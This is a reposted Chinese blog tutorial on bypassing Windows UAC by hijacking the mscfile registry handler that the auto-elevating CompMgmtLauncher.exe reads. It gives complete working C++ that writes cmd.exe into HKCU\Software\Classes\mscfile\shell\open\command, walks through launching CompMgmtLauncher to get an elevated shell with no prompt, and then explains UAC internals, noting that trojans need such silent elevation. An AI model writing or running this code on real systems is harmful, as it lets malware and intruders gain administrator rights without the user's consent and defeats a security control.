内网BypassUAC提权之CompMgmtLauncher程序


前言

      BypassUAC提权之CompMgmtLauncher程序。


一、CompMgmtLauncher的作用

     1)CompMgmtLauncher.exe程序在windows10中能直接双击打开并没有弹出让你点击确认的窗口,就是打开了计算机管理。在windows2019的服务器中也能直接打开,就是服务器管理器。CompMgmtLauncher.exe程序在windows中是白名单中的程序所以就可以用它来进行 Bypass UAC了。
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
     2)在CompMgmtLauncher.exe启动的过程中,有一个关键的操作就是它会先读取注册表,注册表路径为:计算机\HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command的数据。打开系统注册表编辑器regedit.exe,查看相应路径下的注册表,发现该注册表路径确实不存在。所以,如果自己构造该注册路径,写入启动程序的路径,这样,CompMgmtLauncher.exe便会启动该程序。

二、利用CompMgmtLauncher绕过UAC

     1)编写C++文件。

#include <tchar.h>  
#include <windows.h>
#include <iostream>
using namespace std;

void bypass() {
    
    
    HKEY key;
    LPCSTR lpszFileName = "C:\\Windows\\System32\\cmd.exe";
    RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\classes\\mscfile\\shell\\open\\command", 0, NULL, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &key, NULL);
    if (key == NULL) {
    
    
        cout << "Error" << endl;
    }
    if (RegSetValueExA(key, NULL, 0, (DWORD)REG_SZ, (BYTE*)lpszFileName, strlen(lpszFileName) + 1) != ERROR_SUCCESS) {
    
    
        cout << "Error" << endl;

    }
    RegCloseKey(key);

}


int _tmain(int argc, _TCHAR* argv[])
{
    
    
    bypass();
    getchar();
    return 0;
}

在这里插入图片描述
     2)点击开始执行,然后利用everything搜索CompMgmtLauncher.exe程序并双击执行,发现弹出来的是标着计算机管理的cmd命令界面了而不是计算机管理界面了。成功绕过了UAC。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

三、背景(凑字用)

     UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。UAC 可以阻止未经授权的应用程序自动进行安装,并防止无意中更改系统设置。

     UAC需要授权的动作包括:配置Windows Update;增加或删除用户账户;改变用户的账户类型;改变UAC设置;安装ActiveX;安装或移除程序;安装设备驱动程序;设置家长控制;将文件移动或复制到Program Files或Windows目录;查看其他用户文件夹等。

     在触发 UAC 时,系统会创建一个consent.exe进程,该进程通过白名单程序和用户选择来判断是否创建管理员权限进程。请求进程将要请求的进程cmdline和进程路径通过LPC接口传递给appinfo的RAiLuanchAdminProcess函数,该函数首先验证路径是否在白名单中,并将结果传递给consent.exe进程,该进程验证被请求的进程签名以及发起者的权限是否符合要求,然后决定是否弹出UAC框让用户进行确认。这个UAC框会创建新的安全桌面,屏蔽之前的界面。同时这个UAC框进程是SYSTEM权限进程,其他普通进程也无法和其进行通信交互。用户确认之后,会调用CreateProcessAsUser函数以管理员权限启动请求的进程。

     所以,病毒木马想要实现更多权限操作,那么就不得不绕过UAC弹窗,在没有通知用户情况下, 静默地将程序普通权限提升为管理员权限,从而程序可以实现一些需要权限的操作。目前实现Bypass UAC的方法主要有两种方法,一种是利用白名单提权机制,另一种是利用COM组件接口技术。

扫描二维码关注公众号,回复: 16924747 查看本文章

猜你喜欢

转载自blog.csdn.net/qq_44029310/article/details/127263514